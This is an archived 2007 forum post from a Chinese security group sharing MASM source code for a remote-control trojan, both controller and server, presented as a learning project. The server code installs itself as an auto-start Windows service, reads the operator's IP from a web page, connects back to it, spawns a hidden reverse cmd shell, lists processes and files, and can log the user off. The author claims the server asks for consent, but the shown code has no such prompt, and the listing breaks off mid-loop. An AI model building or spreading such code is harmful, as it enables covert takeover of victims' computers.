邪恶八进制信息安全团队技术讨论组's Archiver

asm 2007-4-10 15:03

[原创]赤兔远控程序(学习之用)v1.0

文章作者:asm
信息来源:邪恶八进制信息安全团队

    
    偶的masm功底不好,程序写得很烂,只支持一次连接,关闭客户端的话就没响应;只能一
个用户登陆,并且功能简单,估计是有史以来最简陋的远控程序。所以这东西没多大实用性。就当作学习吧。服务端在执行之前会提示被控制者是否运行,从而得到授权。写得那么难看,偶都不好意思发布了。看来以后得用VC来写了。 

    编程环境:masm32

[attach]10097[/attach]

客户端代码:
[code]
;******************************************************
;程序编写by Asm
;日期:2007-4-10日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib
include    wsock32.inc
includelib  wsock32.lib
include    shell32.inc
includelib  shell32.lib
include macros.inc

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN  equ    1000h  ;图标
DLG_MAIN  equ    1
DLG_LOOK equ   2
IDB_1    equ    3
DLG_SEND equ   4
IDC_Process  equ  1001
IDC_MingLing  equ  1002
IDC_Close  equ  1003
IDC_Cmd  equ  1004
IDC_Serices  equ  1005
IDC_BMP  equ  1006
IDC_ServerList  equ  1007
IDC_Upfile  equ  1008
IDC_Out  equ  1009
IDC_ShuoMing  equ  1010
IDC_URL equ 1011
IDC_23 equ 1012
IDC_24 equ 1013
IDC_25 equ 1014
IDC_26 equ 1015


ASM  equ 101
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance  dd    ?
hWinMain    dd  ?
hSocket    dd  ?
dwCount    dd  ?
szReadBuffer  db  32768 dup (?)
szBuffer  db  32768 dup (?)
hSocket1 dd ?
szCurrentDirectory db 1024 dup(?)
szCurrentDirectory1 db 1024 dup(?)
szUrl db 1024 dup(?)
szFilePath db 1024 dup(?)
stStartUp  STARTUPINFO    <?>
stProcInfo  PROCESS_INFORMATION  <?>
.data
szFormat  db  &#39;%s&#39;,13,10,0
szSay db &#39;这个程序是偶学习TCP/IP协议的一个作品&#39;,13,10
    db &#39;默认监听端口是1028,只支持一个用户连接&#39;,13,10
    db &#39;并且只使用一次,HOHO~~~~&#39;,13,10
    db &#39;偶的汇编功底都JB烂死了,所以这程序bug多多&#39;,13,10
    db &#39;同时又碰巧快到6月份高考,偶上网的时间已经减少&#39;,13,10
    db &#39;这样一来要想完善它,还得一步一步来&#39;,13,10
    db &#39;偶发布的这个版本是最初版本&#39;,13,10
    db &#39;功能也仅仅限制于cmd,进程查看,信息查看,文件查看,注销主机&#39;,13,10
    db &#39;当然,这个程序是开源的,我们一起来完善它,看谁写得好 *^_^*&#39;,13,10
    db &#39;我的QQ:448761813,欢迎交流&#39;,13,10
    db &#39;By asm 2007-4-9&#39;,13,10,0
szLook db &#39;本程序采用网页连接的方式,不支持IP&#39;,13,10
    db &#39;比如 [url]Http://bbs.hackok/ip.txt[/url] 其中ip.txt的内容是你的IP&#39;,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .code
_AddClient  proc
        inc  dwCount
        invoke wsprintf,addr szBuffer,CTXT("%d--127.0.0.1"),dwCount
        invoke SendDlgItemMessage,hWinMain,IDC_ServerList,LB_ADDSTRING,0,addr szBuffer
    ret
_AddClient  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RecvData  proc  _hSocket
    local  @dwRecv
    invoke SendDlgItemMessage,hWinMain,IDC_MingLing,LB_RESETCONTENT,0,0
    .while TRUE
    invoke  RtlZeroMemory,addr szReadBuffer,sizeof szReadBuffer
    invoke  RtlZeroMemory,addr szBuffer,sizeof szBuffer
    invoke  recv,_hSocket,addr szReadBuffer,sizeof szReadBuffer,NULL
      mov  @dwRecv,eax
    invoke lstrlen,addr szReadBuffer
    .if eax!=NULL
    invoke  wsprintf,addr szBuffer,addr szFormat,addr szReadBuffer
    invoke SendDlgItemMessage,hWinMain,IDC_MingLing,LB_ADDSTRING,0,addr szBuffer
    .elseif
      jmp close
      .endif
    .break .if @dwRecv==NULL
;********************************************************************
; 按照客户端列表逐一发送
;********************************************************************
    .endw
   
  close:  
    ret
_RecvData  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 初始化 Socket,绑定到服务TCP端口并监听
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Init    proc
    local  @stWsa:WSADATA
    local  @stSin:sockaddr_in
    invoke  WSAStartup,101h,addr @stWsa
    invoke  socket,AF_INET,SOCK_STREAM,0
    mov  hSocket,eax

    invoke  RtlZeroMemory,addr @stSin,sizeof @stSin
    invoke  htons,1028
    mov  @stSin.sin_port,ax
    mov  @stSin.sin_family,AF_INET
    mov  @stSin.sin_addr,INADDR_ANY
    invoke  bind,hSocket,addr @stSin,sizeof @stSin
    .if  eax ==  SOCKET_ERROR
      invoke  MessageBox,hWinMain,CTXT("无法绑定到TCP端口1028,请检查是否有其它程序在使用!"),NULL,\
        MB_OK or MB_ICONWARNING
      invoke  SendMessage,hWinMain,WM_CLOSE,0,0
    .else
      invoke  listen,hSocket,5
    .endif
    invoke  accept,hSocket,0,0
    .if  eax==INVALID_SOCKET
    mov eax,FALSE
    .endif
    mov hSocket1,eax
    invoke  _AddClient
    ret
_Init    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR,_url:DWORD
mov edi,lpProcessAddress  ;获取初始地址
add edi,0026a0h
invoke lstrcpy,edi,_url
invoke MessageBox,NULL,CTXT("恭喜,服务端生成完毕!"),CTXT("恭喜"),MB_ICONINFORMATION
ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetServer proc _url
local hRsrc,dwSize,hResData,lpData,lpRes,dwSizeWritten,hFile,hMapView,pMapView
invoke lstrlen,_url
  .if eax <= 21
  invoke MessageBox,NULL,CTXT("填写的URL小于预定字节,无法生成!"),NULL,MB_ICONSTOP
  .elseif eax >= 60
  invoke MessageBox,NULL,CTXT("填写的URL大于预定字节,无法生成!"),NULL,MB_ICONSTOP
  .elseif
  invoke FindResource,NULL,ASM,RT_RCDATA;查找ASM资源
       mov hRsrc,eax
  invoke SizeofResource,NULL,hRsrc
  mov dwSize,eax
  invoke LoadResource,NULL,hRsrc
  mov hResData,eax
  invoke GlobalAlloc,GPTR,dwSize
  mov lpData,eax
  invoke LockResource,hResData
  mov lpRes,eax
  invoke CreateFile,CTXT("systemserices.exe"),GENERIC_WRITE,FILE_SHARE_READ,\
  NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开文件
  .if eax != NULL
    mov hFile,eax
  invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL
  invoke CloseHandle,hRsrc
  invoke CloseHandle,hResData
  invoke CloseHandle,hFile
  invoke GlobalFree,lpData
  .endif
  invoke CreateFile,CTXT("systemserices.exe"),GENERIC_READ or GENERIC_WRITE,\ ;打开它
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \     
FILE_ATTRIBUTE_NORMAL,NULL        
.if eax!=INVALID_HANDLE_VALUE
mov hFile, eax ;保存句柄     
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL;建立内存共享
.if eax!=NULL
mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL;读取内存共享
.if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView,_url
.endif
invoke UnmapViewOfFile,pMapView;解除文件映射
.endif
invoke CloseHandle,hMapView;关闭内存映射文件
.endif
invoke CloseHandle,hFile;关闭文件
.endif
ret
_GetServer endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcSendFile  proc  uses ebx edi esi hWnd,wMsg,wParam,lParam
local ThreadId4
    mov  eax,wMsg
    .if  eax == WM_CLOSE
      invoke  EndDialog,hWnd,NULL
    .elseif  eax == WM_INITDIALOG
      invoke  LoadIcon,hInstance,ICO_MAIN
      invoke  SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
      invoke SetDlgItemText,hWnd,IDC_URL,CTXT("http://127.0.0.1/1.txt")
    .elseif  eax == WM_COMMAND
      mov  eax,wParam
      .if  eax == IDC_26
        invoke GetDlgItemText,hWnd,IDC_25,addr szFilePath,sizeof szFilePath
        invoke lstrlen,addr szFilePath
        .if eax==NULL
          invoke MessageBox,hWnd,CTXT("文件路径不能为空"),NULL,MB_ICONSTOP
          .elseif
        invoke lstrlen,addr szFilePath
        invoke send,hSocket1,addr szFilePath,eax,0
        invoke CreateThread,NULL,0,addr _RecvData,hSocket1,0,addr ThreadId4
        xor eax,eax
        .endif
      .endif
    .else
      mov  eax,FALSE
      ret
    .endif
    mov  eax,TRUE
    ret
_ProcSendFile  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcLook  proc  uses ebx edi esi hWnd,wMsg,wParam,lParam

    mov  eax,wMsg
    .if  eax == WM_CLOSE
      invoke  EndDialog,hWnd,NULL
    .elseif  eax == WM_INITDIALOG
      invoke  LoadIcon,hInstance,ICO_MAIN
      invoke  SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
      invoke SetDlgItemText,hWnd,IDC_URL,CTXT("http://127.0.0.1/1.txt")
    .elseif  eax == WM_COMMAND
      mov  eax,wParam
      .if  eax == IDC_23
        invoke GetDlgItemText,hWnd,IDC_URL,addr szUrl,sizeof szUrl
        invoke _GetServer,addr szUrl
      .elseif eax == IDC_24
        invoke MessageBox,hWnd,addr szLook,CTXT("配置说明"),MB_ICONINFORMATION
      .endif
    .else
      mov  eax,FALSE
      ret
    .endif
    mov  eax,TRUE
    ret

_ProcLook  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain  proc  uses ebx edi esi hWnd,wMsg,wParam,lParam
local ThreadId,ThreadId1,ThreadId2,ThreadId3
local @szBuffer[1024]:byte
    mov  eax,wMsg
    .if  eax == WM_CLOSE
    invoke  closesocket,hSocket
      invoke  WSACleanup
      invoke  EndDialog,hWnd,NULL
    .elseif  eax == WM_INITDIALOG
      push hWnd
      pop hWinMain
      invoke  LoadIcon,hInstance,ICO_MAIN
      invoke  SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
      invoke CreateThread,NULL,0,addr _Init,0,0,addr ThreadId
    .elseif  eax == WM_COMMAND
      mov  eax,wParam
      .if  ax == IDOK
      invoke  DialogBoxParam,hInstance,DLG_LOOK,NULL,offset _ProcLook,NULL
    .elseif ax == IDC_Process
      invoke SendDlgItemMessage,hWnd,IDC_MingLing,LB_RESETCONTENT,0,0
      invoke lstrlen,CTXT("l")
      invoke send,hSocket1,CTXT("l"),eax,0
      xor eax,eax
      invoke CreateThread,NULL,0,addr _RecvData,hSocket1,0,addr ThreadId2
    .elseif ax == IDC_MingLing
      shr eax,16
      .if  ax ==  LBN_DBLCLK
;********************************************************************
; 将鼠标点击结果显示在列表框中
;********************************************************************
          invoke  SendMessage,lParam,LB_GETCURSEL,0,0
          lea  ecx,@szBuffer
          invoke  SendMessage,lParam,LB_GETTEXT,eax,ecx
          invoke MessageBox,NULL,addr @szBuffer,CTXT("信息查看"),MB_ICONINFORMATION
          .endif
      .elseif ax == IDC_Close
        invoke SendDlgItemMessage,hWnd,IDC_MingLing,LB_RESETCONTENT,0,0
        invoke lstrlen,CTXT("o")
        invoke send,hSocket1,CTXT("o"),eax,0
        xor eax,eax
        invoke CreateThread,NULL,0,addr _RecvData,hSocket1,0,addr ThreadId2
      .elseif ax ==   IDC_Cmd
        invoke RtlZeroMemory,addr szCurrentDirectory,sizeof szCurrentDirectory
        invoke RtlZeroMemory,addr szCurrentDirectory1,sizeof szCurrentDirectory1
        invoke GetCurrentDirectory,200,addr szCurrentDirectory
        invoke lstrcat,addr szCurrentDirectory1,addr szCurrentDirectory
        invoke lstrcat,addr szCurrentDirectory1,CTXT("\")
        invoke lstrcat,addr szCurrentDirectory1,CTXT("NC.exe")
        invoke  GetStartupInfo,addr stStartUp
       invoke  CreateProcess,addr szCurrentDirectory1,CTXT(" -vv -l -p 8888"),NULL,NULL,NULL,\
      NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
      invoke lstrlen,CTXT("c")
        invoke send,hSocket1,CTXT("c"),eax,0
        xor eax,eax
       .elseif ax == IDC_Serices
         invoke lstrlen,CTXT("e")
        invoke send,hSocket1,CTXT("e"),eax,0
        invoke CreateThread,NULL,0,addr _RecvData,hSocket1,0,addr ThreadId3
        xor eax,eax
        .elseif ax == IDC_Upfile
        invoke SendDlgItemMessage,hWnd,IDC_MingLing,LB_RESETCONTENT,0,0  
        invoke  DialogBoxParam,hInstance,DLG_SEND,NULL,offset _ProcSendFile,NULL
        .elseif ax == IDC_Out
          invoke SendMessage,hWnd,WM_CLOSE,0,0
          .elseif ax == IDC_ShuoMing
            invoke MessageBox,hWnd,addr szSay,CTXT("关于程序说明"),MB_ICONINFORMATION
      .endif
    .else
      mov  eax,FALSE
      ret
    .endif
    mov  eax,TRUE
    ret

_ProcDlgMain  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
    invoke  GetModuleHandle,NULL
    mov  hInstance,eax
    invoke  DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
    invoke  ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    end  start
[/code]

服务端代码:

[code]
;******************************************************
;程序编写by Asm
;日期:2007-4-10日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model  flat,stdcall
option  casemap:none
include  windows.inc
include  user32.inc
include  kernel32.inc
include  wsock32.inc
include  Ws2_32.inc
include    wininet.inc
include advapi32.inc
includelib  user32.lib
includelib  kernel32.lib
includelib  wsock32.lib
includelib  Ws2_32.lib
includelib  wininet.lib
includelib advapi32.lib
include macros.inc

.data


szExit db "远程主机正在响应命令.........",13,10,0
szExit1 db "命令已经成功执行........",13,10,0
lpBuffer  db  1024  dup(0)
buff db "%s",13,10,0
szUrl  db &#39;http://                              &#39;,0

  .data?
buff1 db 1025 dup(?)
szIP db 1025 dup(?)
szSerice db 1024 dup(?)
server    SOCKET  ?
client    SOCKET  ?
hWinMain dd ?
stProcess PROCESSENTRY32<?>
hSnapShot dd ?
closepid dd ?
Pid dd ?
dwFolderCount dd ?
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
  LOCAL  hToken
  LOCAL  tkp : TOKEN_PRIVILEGES
  
  invoke GetCurrentProcess ;GetCurrentProcess获得当前进程的HANDLE
  mov  edx, eax
  invoke OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken ;获取进程访问令牌
  invoke LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid;一个权限对应的LUID值
  mov  tkp.PrivilegeCount, 1
  xor  eax, eax
  .if bFlags
     mov  eax, SE_PRIVILEGE_ENABLED
  .endif
  mov  tkp.Privileges.Attributes, eax
  invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0 ;对这个访问令牌进行修改
  push  eax
  invoke CloseHandle, hToken
  pop  eax
  ret
_EnablePrivilege endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ReadInternet  proc
    local  @hSession,@hHttpFile,@dwRead ;局部参数
    pushad ;所有寄存器压栈保存
    invoke RtlZeroMemory,addr szIP,sizeof szIP
    invoke  InternetOpen,CTXT("ReadFile"),INTERNET_OPEN_TYPE_PRECONFIG,\
      NULL,NULL,0 ;打开internet
    .if  eax ;测试返回值
    mov  @hSession,eax ;保存句柄
    .endif
    invoke  InternetOpenUrl,@hSession,addr szUrl,NULL,0,INTERNET_FLAG_NO_AUTO_REDIRECT,0
    .if  eax
    mov  @hHttpFile,eax
    .endif
    invoke  InternetReadFile,@hHttpFile,addr szIP,sizeof szIP,addr @dwRead;读出IP并且保存
    invoke  InternetCloseHandle,@hHttpFile;关闭句柄
    invoke  InternetCloseHandle,@hSession
    popad ;恢复
    ret
_ReadInternet endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>..
_Process proc
invoke  RtlZeroMemory,addr stProcess,sizeof stProcess;清空内存
mov  stProcess.dwSize,sizeof stProcess
invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,addr stProcess
mov  hSnapShot,eax
invoke  Process32First,hSnapShot,addr stProcess
  .while  eax
  invoke RtlZeroMemory,addr buff1,sizeof buff1
  invoke wsprintf,addr buff1,addr buff,addr stProcess.szExeFile
  invoke lstrlen,addr buff1
  invoke send,server,addr buff1,eax,0
    push stProcess.th32ProcessID
    pop closepid
    invoke Sleep,1000;休眠,不然发送到客户端不规则
    invoke  Process32Next,hSnapShot,addr stProcess
   .endw
  ret
_Process endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里设置的shell反弹端口要和NC监听的一样
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Cmd proc
local  @wsaData:WSADATA
local  @stAddr:sockaddr_in
local  stStartUp:STARTUPINFO
local  stProcInfo:PROCESS_INFORMATION
local  hSocket
invoke WSAStartup,202h,addr @wsaData ;初始化WSAStartup库
invoke WSASocket,PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字
mov  hSocket,eax ;保存句柄
mov  @stAddr.sin_family,AF_INET ;设置IP格式
invoke  htons,8888 ;设置端口
mov  @stAddr.sin_port,ax ;保存
invoke inet_addr,addr szIP;转换读取到的IP
mov @stAddr.sin_addr,eax
invoke  connect,hSocket,addr @stAddr,sizeof @stAddr;如果有客户端连接,马上确定
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke  GetStartupInfo,addr stStartUp
mov ebx,hSocket ;保存套接字到ebx
mov stStartUp.hStdInput,ebx ;给成员赋值,准备cmd转向输出
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,101h
mov stStartUp.wShowWindow,SW_HIDE
invoke CreateProcess,NULL,CTXT("cmd"),NULL,NULL,1,0,NULL,NULL,addr stStartUp,addr stProcInfo
invoke WaitForSingleObject,addr stProcInfo.hProcess,INFINITE ; 阻塞等待进程结束
invoke closesocket,hSocket
ret
_Cmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CreateSerice proc
  LOCAL  hSCManager
  LOCAL  hService
  LOCAL  szBuff[MAX_PATH] :byte
  LOCAL  ServiceStatus:SERVICE_STATUS
  invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE ;连接服务管理器
  .if eax!=0
     mov  hSCManager, eax ;连接成功,返回一个句柄
     
     invoke OpenService, hSCManager,CTXT("GetSysService"), DELETE ;打开服务
     .if eax!=0 ;打开失败
        push  eax ;直接传递参数删除
        invoke DeleteService, eax
        call  CloseServiceHandle
     .endif
     invoke GetModuleFileName,NULL,addr szBuff,200
     invoke CreateService, hSCManager,CTXT("GetSysService"),CTXT("GetSysForShellexecute"),\ ;创建服务!
          SERVICE_START + SERVICE_QUERY_STATUS + DELETE, \
          SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START, \
          SERVICE_ERROR_IGNORE, addr szBuff,NULL, NULL, NULL, NULL, NULL
     .if eax!=0
        mov  hService, eax
        invoke StartService, hService, 0, NULL;开始打开执行!
        invoke CloseServiceHandle, hService
     .endif
     invoke CloseServiceHandle, hSCManager
  .endif
  ret
_CreateSerice endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile  proc  _lpszPath
    local  @stFindFile:WIN32_FIND_DATA
    local  @hFindFile
    local  @szPath[MAX_PATH]:byte    ;用来存放“路径\”
    local  @szSearch[MAX_PATH]:byte  ;用来存放“路径\*.*”
    local  @szFindFile[1025]:byte  ;用来存放“路径\找到的文件”
   local hWnd
    pushad
    invoke RtlZeroMemory,addr @szPath,sizeof @szPath
    invoke RtlZeroMemory,addr @szSearch,sizeof @szSearch
    invoke  lstrcpy,addr @szPath,_lpszPath
;********************************************************************
; 在路径后面加上\*.*
;********************************************************************
    @@:
    invoke  lstrlen,addr @szPath
    lea  ebx,@szPath
    add  ebx,eax
    xor  eax,eax
    mov  al,&#39;\&#39;
    .if  byte ptr [ebx-1] != al
      mov  word ptr [ebx],ax
    .endif
    invoke  lstrcpy,addr @szSearch,addr @szPath
    invoke  lstrcat,addr @szSearch,CTXT("*.*")
;********************************************************************
; 寻找文件
;********************************************************************
    invoke  FindFirstFile,addr @szSearch,addr @stFindFile
    .if  eax !=  INVALID_HANDLE_VALUE
      mov  @hFindFile,eax
      .repeat
        invoke  lstrcpy,addr @szFindFile,addr @szPath
        invoke  lstrcat,addr @szFindFile,addr @stFindFile.cFileName
        .if  @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ;找到的是目录吗?
          .if  @stFindFile.cFileName != &#39;.&#39;
            inc  dwFolderCount
            invoke  _FindFile,addr @szFindFile;如果找到的是目录,就递归继续找
          .endif
        .else
          invoke lstrlen,addr @szFindFile
        invoke send,server,addr @szFindFile,eax,0 ;发送找到的文件
        .endif
        invoke Sleep,50;休眠一会,不然发送到客户端上去会很不规则
        invoke  FindNextFile,@hFindFile,addr @stFindFile
      .until  eax == FALSE
      invoke  FindClose,@hFindFile
    .endif
    popad
    ret
_FindFile  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_send proc _serices
invoke lstrlen,_serices
invoke send,server,_serices,eax,0
invoke Sleep,50
ret
_send endp
;**********************************************************************
_GetMoudel proc
local stMemInfo:MEMORYSTATUS

invoke RtlZeroMemory,addr stMemInfo,sizeof stMemInfo
mov stMemInfo.dwLength,sizeof stMemInfo
invoke GlobalMemoryStatus,addr stMemInfo

invoke wsprintf,addr szSerice,CTXT("物理内存总数   %lu 字节"),stMemInfo.dwTotalPhys
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("空闲物理内存   %lu 字节"),stMemInfo.dwAvailPhys
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("虚拟内存总数   %lu 字节"),stMemInfo.dwTotalPageFile
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("空闲虚拟内存   %lu 字节"),stMemInfo.dwAvailPageFile
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("CPU使用率    %d%%"),stMemInfo.dwMemoryLoad
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke lstrlen,CTXT("————————————————")
invoke send,server,CTXT("————————————————"),eax,0
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("用户地址空间总数 %lu 字节"),stMemInfo.dwTotalVirtual
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
invoke wsprintf,addr szSerice,CTXT("用户可用地址空间 %lu 字节"),stMemInfo.dwAvailVirtual
invoke _send,addr szSerice
invoke RtlZeroMemory,addr szSerice,sizeof szSerice
ret
_GetMoudel endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CmdLineToShell proc _FileName
      .if  lpBuffer==&#39;l&#39;
        invoke _Process;判断接收客户端发来的命令,如果是l就列举进程并发送过去
      .elseif  lpBuffer==&#39;e&#39;
        invoke _GetMoudel
      .elseif  lpBuffer==&#39;o&#39;
        invoke lstrlen,addr szExit
        invoke send,server,addr szExit,eax,0
        invoke ExitWindowsEx,EWX_LOGOFF,0
        invoke lstrlen,addr szExit1
        invoke send,server,addr szExit1,eax,0        
      .elseif  lpBuffer==&#39;c&#39;
        call  _Cmd
        .endif
        ret
_CmdLineToShell endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Main  proc
    local  @stData:WSADATA
    local  @temp:SOCKET
    local  @stAddr:sockaddr_in
   local  @dwRecv,ThreadId4
   
   call _CreateSerice ;设置系统服务启动
    invoke  WSAStartup,202H,addr @stData
    invoke  RtlZeroMemory,addr @stAddr,sizeof sockaddr_in
    mov  @stAddr.sin_family,AF_INET
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ;这里连接的端口要和客户端监听的端口一样
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    invoke  htons,1028
    mov  @stAddr.sin_port,ax
    call _ReadInternet
    invoke inet_addr,addr szIP
    mov @stAddr.sin_addr,eax
    invoke  socket,AF_INET,SOCK_STREAM,0
    .if  eax==INVALID_SOCKET
      mov  eax,FALSE
      ret
    .endif
    mov  server,eax
   invoke connect,server,addr @stAddr,sizeof @stAddr
   .if eax==SOCKET_ERROR
   .endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;循环处理客户消息命令
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .while  TRUE
      invoke RtlZeroMemory,addr lpBuffer,sizeof lpBuffer
      invoke  recv,server,addr lpBuffer,1024,0
      mov @dwRecv,eax
